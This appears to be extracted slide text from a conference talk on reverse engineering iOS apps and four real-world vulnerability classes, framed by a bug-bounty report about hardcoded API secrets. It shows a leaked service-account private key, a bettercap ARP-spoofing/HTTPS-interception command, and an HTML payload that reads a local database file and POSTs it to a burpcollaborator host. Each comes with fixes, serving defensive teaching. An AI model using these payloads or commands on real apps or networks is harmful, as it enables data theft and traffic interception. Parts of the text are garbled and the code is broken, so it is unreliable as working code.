Common Vulnerabilities on iOS Apps
Hi team,

Summary:
Hardcoded merchant token and secret values on your iOS mobile app.

Description:
While performing a static analysis test on your mobile application I found the hardcoded values for the __API-Token and __API-Secret of the __APIs. Based on the documentation these values are used for their API Authentication, which in this case is Basic Authentication using the __APIToken as the user and the __APISecret as the password.

There's a warning on the page stating:
Never share your API token, API secret, or Basic Auth credentials with anyone — not even Support.

Steps To Reproduce:
- Download your iOS Mobile app from the App Store
- Decrypt and Decompile the binary
- Search for __API-Token and __API-Secret

(It will be easier for you if instead of downloading the app from the App Store, you search for those values in your source code.)
the views and opinions expressed on this talk are solely my own and do not reflect the views or opinions of my employer.
ivan_rodriguez.me

• security researcher and software engineer
• focused on iOS reverse engineering and mobile bug bounty programs
• i blog at ivrodriguez.com
• find me on twitter: @ivRodriguezCA
• find me on github: /ivRodriguezCA
agenda

• reverse engineering an iOS app.
  • tools and methods.
• common iOS vulnerabilities (all found on real world applications).
• how to fix and prevent these vulnerabilities.
• resources / conclusions.
• questions.
reverse engineering an iOS app

• iOS apps are encrypted with an algorithm called FairPlay.

• we need a jailbroken device.

• we don’t “decrypt” the apps, we just dump them from memory.

• transfer them to a desktop where we do the reverse engineering.
reverse engineering an iOS app

• how we dump the app from memory?

> dump memory <filename> <start_address> <end_address>
reverse engineering an iOS app

• how we dump the app from memory?

  > dump memory <filename> <start_address> <end_address>

• we can use tools to automate this.
reverse engineering an iOS app

• some of the tools we can use:

  - dumpdecrypted: https://github.com/stefanesser/dumpdecrypted
  - bfinject: https://github.com/BishopFox/bfinject
  - frida-ios-dump: https://github.com/AloneMonkey/frida-ios-dump
reverse engineering an iOS app
reverse engineering an iOS app
reverse engineering an iOS app

@ivRodriguezCA
reverse engineering an iOS app

• dynamic and static analysis
reverse engineering an iOS app

• dynamic and static analysis
reverse engineering an iOS app

- dynamic and static analysis
vulnerability # 1

- searching through embedded files within the app
vulnerability # 1

```json
"type": "service_account",
"project_id": "coinda-c7e97",
"private_key_id": "df3d457e3e83233ed8b6972b03184af9ebd9d8",
"private_key": "-----BEGIN PRIVATE KEY-----
MIIBlAIBDAANBgkqhkiG9w0BAQFAAOBgYegsIaEAaO9AMODQgYXeO5DA1LX
5UqvQ2U4F0SH17H6m5wL3z5lJBCUx5xUxH0pCyz51x5z1xJ3B39ZBP
8h82vG45Z09y15FyLyJz5c9W1fJ8fYJ
Ydf/0a92J9Y5SbG0da59uClFmavwWyKho78L3/1/jhXKb07/7G3BrqJXTz11
7cm8FKeknKpVGrUABIDZgzcEAhAPwL4D80t/918YPhGbI115yNUniyk+P9UL
5958mWOGmpwGMKo+sXz95qY7iwGPDYCAohkz55c95m7+c0v0mWdZc+sXr
NVX1kXGAgMAAEACgEaXAYLVh5kQ4g8to8v11ci5m7K5j3pPNDT
UDFq2G/0+r3wvY6K0/6p3q06c0q1L0mYX58R79gPcw5AFo0BQ4Q0GQIE9D
2l16dcB7pF7J9kKEEkQVvQXaHzbXzScyC5XRziX5jmn81K04/c0U/ZgE18
QedcCE3gQj2Y0g935mnAES1m2F+4g72Gibb39z1iEFy7p39vAjhDNeW0D
QQDc9k/8qh2p8xL36e1g1TvUAKJL/+rj3jNjHj6mcg10YWfSFTWw68FrQMe27y7nW
yn161H4F0OpbtmV7myb4sK8GR1c1hFBY/51yXQT8QD9yT7YO/LF4Ar+Rw0t1
Jp98eZ2BPFLMK1/j10nK7Vv1hXz1r9Nn1Z1fH0zB6eqru5+R4aGyFp8wD1TJ
we13x3hWmQDq27er+6wGbh9sG0s+6rKx5r+kYktz79z5n5b3s05y1yA0
bh1vbbChsmr6Nh1b9/twFC2uC8kBQGQXb9/AVPFPXRM3kN4d3j611qctJ11kL
EWS54EdtvVQxsTbY72Y1D1F3rHsvhbbpWvkb/65b11iBN0A5KoqaCCh2I5e1cJEJ
WJNw7n14kHawX8BnpoQcQdha/fArRsoiI0P1dlcFrq/nGd9mSK7897kQ0Dv9n9y
zym1vqjGKCFw7ezMQ8Jr1XZG0h8Kx524T2+13IY09Jk5cD6fPvW0n8mH49AGY8DCG6g
RdmNcV/svR1hB6eNSYJeJwJf/gMcMtNekj/wj/3JCC8F+5FB7YdWktrv+JST7
OrMT7N6bc8AqQfHgLqIiKkKBp6V3nVh29hYMO1uQjfxpRoPi6YoCaGAbavL
Tm11nYyM1kD4/7+Y9ANw33JkyQ2B8hBW0v3a1h3eM4yre87b8VQca4n5CQF03B
4PDehQ40JLPEp8obYF9Esl3c5z52MoGmYQJF6tJY9sL3F49GyKcfZMC
vPMH5c5Y8SB/Kp3uJw3bPv/lcc63NscxksQgY7m3s4p7b37b7w7yL70
TEF91cQzGm/tGWVp/City/38111118EwMnwcFsnjAkJpM4e84n9ToUnQg4ah1l9X
w30894BF1G40P6n69sM5y5vOcrZ7endenTTL5eOA6ib1b1JFfXK9hdbv/Gt6gYl
KAhZvC80R4oIt7hLqNqB="
-----END PRIVATE KEY-----,
"client_email": "cloudservice-adminskd ok38@coinda-c7e97.im.cloudserviceaccount.com",
"client_id": "100198436202555276767991",
"auth_url": "https://accounts.cloudservice.com/oauth2/auth",
"token_url": "https://oauth2.cloudapi.com/token",
"auth_provider_x509_cert_url": "https://www.cloudapi.com/oauth2/v1/certs"
```

"coinda-c7e97/cloudservice-adminskd-ok38@df3d457e3e8.json" 38L, 2176C

@ivRodriguezCA
vulnerability # 1

private_key

---ENd PRIvATE KEY----,

"client_email": "cloudservice-adminsdk-ok3f@cointz-ca.i iam.cloudserviceaccount.com",
"client_id": "10019843602555627691",
"auth_url": "https://accounts.google.com/o/oauth2/auth",
"token_url": "https://oauth2.cloudapi.io/token",
"auth_provider_8509_cert_url": "https://www.cloudapi.io/oauth2/v1/certs"

"cointz-ca.7e97-cloudservice-adminsdk-ok3f8-df3457e3e8.json" 38L, 2178C

@ivRodriguezCA
vulnerability # 1

```
private_key

yes, PRIVATE key
```

@ivRodriguezCA
vulnerability # 1

cloud server
vulnerability # 1
vulnerability # 1

cloud server
vulnerability # 1

cloud server

ssh
vulnerability # 1

cloud server

@ivRodriguezCA
how to fix vulnerability # 1

cloud server

own server
how to fix vulnerability # 1

cloud server

own server

@ivRodriguezCA
how to fix vulnerability # 1

cloud server

own server
how to fix vulnerability # 1

cloud server

own server
how to fix vulnerability # 1

cloud server

own server

public api
how to fix vulnerability # 1

cloud server

ssh

own server
how to fix vulnerability #1

cloud server

own server

ssh
vulnerability # 2

-(BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    NSString *params = [url.absoluteString stringByRemovingPercentEncoding];
    if ([params containsString:@"news"])
    { 
        NSString *html = [params stringByReplacingOccurrencesOfString:@"news/" withString:@""];
        UIStoryboard *storyBoard = [[UIStoryboard storyboardWithName:@"Main" bundle:[NSBundle mainBundle]]
        instantiateViewControllerWithIdentifier:@"WebViewController" ];
        [webVC configureWithHTMLString:html];
        UINavigationController *webNavCon = [[UINavigationController alloc] initWithRootViewController:webVC];

        UINavigationController *navCon = (UINavigationController *)self.window.rootViewController;
        [navCon.topViewController presentViewController:webNavCon animated:YES completion:nil];
    }

    return YES;
}
vulnerability # 2

```swift
 -(BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {

     // Add your vulnerability analysis here.
     // For example, you could check for any potential security issues.

     return YES;
}
```
vulnerability # 2

```swift
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    NSString *params = [url.query componentsSeparatedByString:@"="]
    if ([params containsString:@"news")]
        NSString *news = [[params componentsSeparatedByString:@"="]lastObject]
        if (news)
            [news stringByReplacingOccurrencesOfString:@"news/" withString:@"]"
    UIStoryboard *storyBoard = [UIStoryboard storyboardWithName:@"Main" bundle:[NSBundle mainBundle]]; WebViewController *webVC = [storyBoard instantiateViewControllerWithIdentifier:@"WebViewController"];
    [webVC configureWithHTMLString:html];
    UINavigationController *webNavCon = [[UINavigationController alloc] initWithRootViewController:webVC];
    UINavigationController *navCon = (UINavigationController *)self.window.rootViewController;
    [navCon.topViewController presentViewController:webNavCon animated:YES completion:nil];
}
return YES;
```
vulnerability # 2
vulnerability # 2

```swift
-(BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    NSString *params = [url.absoluteString stringByRemovingPercentEncoding];
    if ([params containsString:@"news"] {)
        NSString *html = [params stringByReplacingOccurrencesOfString:@"news/" withString:@"""];
        UIStoryboard *storyBoard = [UIStoryboard storyboardWithName:@"Main" bundle:[NSBundle mainBundle]];
        WebViewController *webVC = [storyBoard instantiateViewControllerWithIdentifier:@"WebViewController"];
        [webVC configureWithHTMString:html];
        UINavigationController *webNavCon = [[UINavigationController alloc] initWithRootViewController:webVC];

        UINavigationController *navCon = (UINavigationController *)self.window.rootViewController;
        [navCon.topViewController presentViewController:webNavCon animated:YES completion:nil];
    }

    return YES;
}
```
vulnerability # 2

- coinza://news/<trusted-html>
vulnerability # 2

- coinza://news/<trusted-html>

-
vulnerability # 2

- coinza://news/<trusted-html>
how to fix vulnerability # 2

```objective-c
-(BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    NSString *params = [url.absoluteString stringByReplacingPercentEncodingUsingEncoding:NSUTF8StringEncoding];
    if ([params containsString:@"news"]){
        NSString *html = [params stringByReplacingOccurrencesOfString:@"news/" withString:@"" ];
        UINavigationController *webVC = [[UIStoryboard storyboardWithName:@"Main" bundle:[[NSBundle mainBundle] bundlePath]] instantiateViewControllerWithIdentifier:@"WebViewController"][0] ;
        [webVC configureWithHTMLString:html];
        UINavigationController *webNavCon = [[UINavigationController alloc] initWithRootViewController:webVC];
        UINavigationController *navCon = (UINavigationController *)self.window.rootViewController;
        [navCon pushViewController:webNavCon animated:YES completion:nil];
    }
    return YES;
}
```
how to fix vulnerability # 2
how to fix vulnerability # 2

• URL Schemes + WebViews are dangerous and you should be careful when you pair them.

• don't load HTML code from user-controlled content.

• if you need to dynamically react to URL Schemes have a set of whitelisted actions.
vulnerability # 3

1,500 iOS apps have HTTPS-crippling bug. Is one of them on your device?

Apps downloaded two million times are vulnerable to trivial man-in-the-middle attacks.
vulnerability # 3
vulnerability # 3
vulnerability # 3
vulnerability # 3
vulnerability # 3

== ?
vulnerability # 3
vulnerability # 3
vulnerability # 3
vulnerability # 3
vulnerability # 3

website.com
vulnerability # 3

username/password
vulnerability # 3
MacPro:bettercap ivrodriguez$ sudo ./bettercap --eval "set arp.spoof.targets 10.0.0.4 8; arp.spoof on; https.proxy on" --debug
vulnerability # 3
vulnerability # 3

detected connection to a website
vulnerability # 3

creates fake TLS certificate
vulnerability # 3

sniffs client traffic

@ivRodriguezCA
how to fix vulnerability # 3

• vet and test your 3rd party frameworks, specially if they handle your network requests.

• be careful when implementing your own certificate validation logic.

• if you want to implement HPKP you can use TrustKit:
  - https://github.com/datatheorem/TrustKit
how to fix vulnerability # 3

What Should Be Pinned?

The first thing to decide is what should be pinned. For this choice, you have two options:

- Pin the certificate.
- Pin the public key.

If you choose public keys, you have two additional choices:

- Pin the subjectPublicKeyInfo.
- Pin one of the concrete types such as RSAPublicKey or DSAPublicKey.

The three choices are explained below in more detail. I would encourage you to pin the subjectPublicKeyInfo because it has the public parameters (such as e, n) for an RSA public key and contextual information such as an algorithm and OID. The context will help you keep your bearings at times, and the figure to the right shows the additional information available.

source: https://cheatsheetseries.owasp.org/cheatsheets/Pinning_Cheat_Sheet.html
vulnerability # 4

UIWebView

A view that embeds web content in your app.

Declaration

@interface UIWebView : UIView

Overview

Note

In apps that run in iOS 8 and later, use the WKWebView class instead of using UIWebView. Additionally, consider setting the WKPreferences property javascriptEnabled to NO if you render files that are not supposed to run JavaScript.
vulnerability # 4

loadRequest:

Connects to a given URL by initiating an asynchronous client request.

Declaration

- (void)loadRequest:(NSURLRequest *)request;

Parameters

request

A URL request identifying the location of the content to load.

Discussion

Don’t use this method to load local HTML files; instead, use loadHTMLString:baseURL:. To stop this load, use the stopLoading method. To see whether the receiver is done loading the content, use the loading property.
vulnerability # 4

loadRequest:
Connects to a given URL by initiating an asynchronous client request.

Declaration

```
- (void)loadRequest:(NSURLRequest *)request;
```

Parameters

request
A URL request identifying the location of the content to load.

Discussion

Don't use this method to load local HTML files; instead, use `loadHTMLString:baseURL:`. To stop this load, use the `stopLoading` method. To see whether the receiver is done loading the content, use the `loading` property.
vulnerability # 4

loadRequest:
Connects to a given URL by initiating a request.

loadHTMLString:baseURL:
Sets the main page content and base URL.

Declaration

```
-(void)loadHTMLString:(NSString *)string
    baseURL:(NSURL *)baseURL;
```

Parameters

string
The content for the main page.

baseURL
The base URL for the content.

Discussion

To help you avoid being vulnerable to security attacks, be sure to use this method to load local HTML files; don't use loadRequest.:
vulnerability # 4

**loadRequest:**
Connects to a given URL by initiating a network request.

**loadHTMLString:baseURL:**
Sets the main page content and base URL.

**Declaration**

```objective-c
- (void)loadHTMLString:(NSString *)string baseURL:(NSURL *)baseURL;
```

**Parameters**

- **string**: The content for the main page.
- **baseURL**: The base URL for the content.

**Discussion**
To help you avoid being vulnerable to security attacks, be sure to use this method to load local HTML files; don't use `loadRequest:`.
vulnerability # 4

• these methods are equivalent for local files
vulnerability # 4

```html
<html>
<body>
<script>
function loadFile() {
    var xhr = new XMLHttpRequest();
    documentsPath = document.URL.split('/').slice(0, -1).join('/');
    filePath = documentsPath + '/' + 'sqlcipher.db';
    xhr.onload = loadFile;
    xhr.onerror = function() {
        alert('Error! ' + filePath);
    }
    xhr.open('GET', filePath, true);
    xhr.send();
}
window.onload = loadFile;
</script>
<p>Hello World</p>
</body>
</html>
```
vulnerability # 4

```html
<html>
<body>
    <script>
        function loadFile() {
            var xmlhttp = new XMLHttpRequest();
            var documentsPath = document.URL.split('/').slice(0, -1).join('/');
            var filePath = documentsPath + '/' + 'sqlcipher.db';
            xmlhttp.onreadystatechange = function() {
                if (xmlhttp.readyState == 4) {
                    if (xmlhttp.responseText.length > 0) {
                        var xmlhttp2 = new XMLHttpRequest();
                        xmlhttp2.open("POST","http://<some-id>.burpcollaborator.net",false);
                        xmlhttp2.send(xmlhttp.responseText);
                    }
                }
            };
            xmlhttp.onerror = function() {
                alert('Error! ' + filePath);
            };
            xmlhttp.open('GET', filePath, true);
            xmlhttp.send();
        }
        window.onload = loadFile;
    </script>
    
    Hello World
</body>
</html>
```
vulnerability # 4

```html
<html>
<body>
<script>
  function loadFile() {
    var xhr = new XMLHttpRequest();
    documentsPath = document.URL.split('/').slice(0, -1).join('/');
    filePath = documentsPath + '/' + 'sqlcipher.db';
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if (xhr.responseText.length > 0) {
          xhr2 = new XMLHttpRequest();
          xhr2.open("POST","http://some-id.burpcollaborator.net",false);
          xhr2.send(xhr.responseText);
        }
      }
    }
    xhr.onerror = function() {
      alert('Error! ' + filePath);
    }
    xhr.open('GET', filePath, true);
    xhr.send();
  }

  window.onload = loadFile;
</script>
<p>Hello World</p>
</body>
</html>
```

send file to a remote location.

@ivRodriguezCA
vulnerability # 4

- coinza://news/

```html
<html>
<body>
<script>
function loadFile()
{
    var xmlhttp = new XMLHttpRequest();
    documentsPath = document.URL.split('/').slice(0, -1).join('/');
    filePath = documentsPath + '/sqlcipher.db';
    xmlhttp.onreadystatechange = function()
    {
        if (xmlhttp.readyState == 4)
        {
            if (xmlhttp.responseText.length > 0)
            {
                alert('Got file ' + 'sqlcipher.db', size: xmlhttp.responseText.length);
            }
        }
    }
    xmlhttp.onerror = function()
    {
        alert('Error! ' + filePath);
    }
    xmlhttp.open('GET', filePath, true);
    xmlhttp.send();
}
window.onload = loadFile;
</script>
<p>Hello World</p>
</body>
</html>
```

@ivRodriguezCA
how to fix vulnerability # 4

• do not use UIWebView anymore, use WKWebView instead.

• if you absolutely have to use UIWebView:

  - do not use - (void)loadRequest:(NSURLRequest *)request for local files.

  - Use - (void)loadHTMLString:(NSString *)string baseURL:(NSURL *)baseURL with an URL object created with [NSURL URLWithString:@“about:blank”].

@ivRodriguezCA
conclusions

• add security assessments to your release cycles.

• keep your 3rd party libraries up to date.

• be careful copy-pasting code from online sources.

• have a public bounty program or at least public channels for responsible disclosures.
resources

- OWASP - Mobile Application Security Verification Standard
  https://github.com/OWASP/owasp-masvs

- OWASP - The Mobile Security Testing Guide
  https://github.com/OWASP/owasp-mstg

- Resources Page of my course
  https://github.com/ivRodriguezCA/RE-iOS-Apps/blob/master/Resources.md
resources

• for a more detailed guide visit: https://github.com/ivRodriguezCA/RE-iOS-Apps
Summary:
Hardcoded merchant token and secret values on your iOS mobile app.

Description:
While performing a static analysis test on your mobile application, I found the hardcoded values for the
`-API Token` and `-API Secret` of the APIs, based on the documentation
from these values are used for their API Authentication, which in this case is `Basic Authentication`
using the `API Token` as the user and the `API Secret` as the password.

There's a warning on the page stating:
Never share your API token, API secret, or Basic Auth credentials with anyone—not even Support.

Steps To Reproduce:
- Download your iOS Mobile app from the App Store
- Decrypt and Decompile the binary
- Search for

(It will be easier for you if instead of downloading the app from the App Store, you search for these values in your `Xcode`.)
@ivRodriguezCA
questions?
thank you!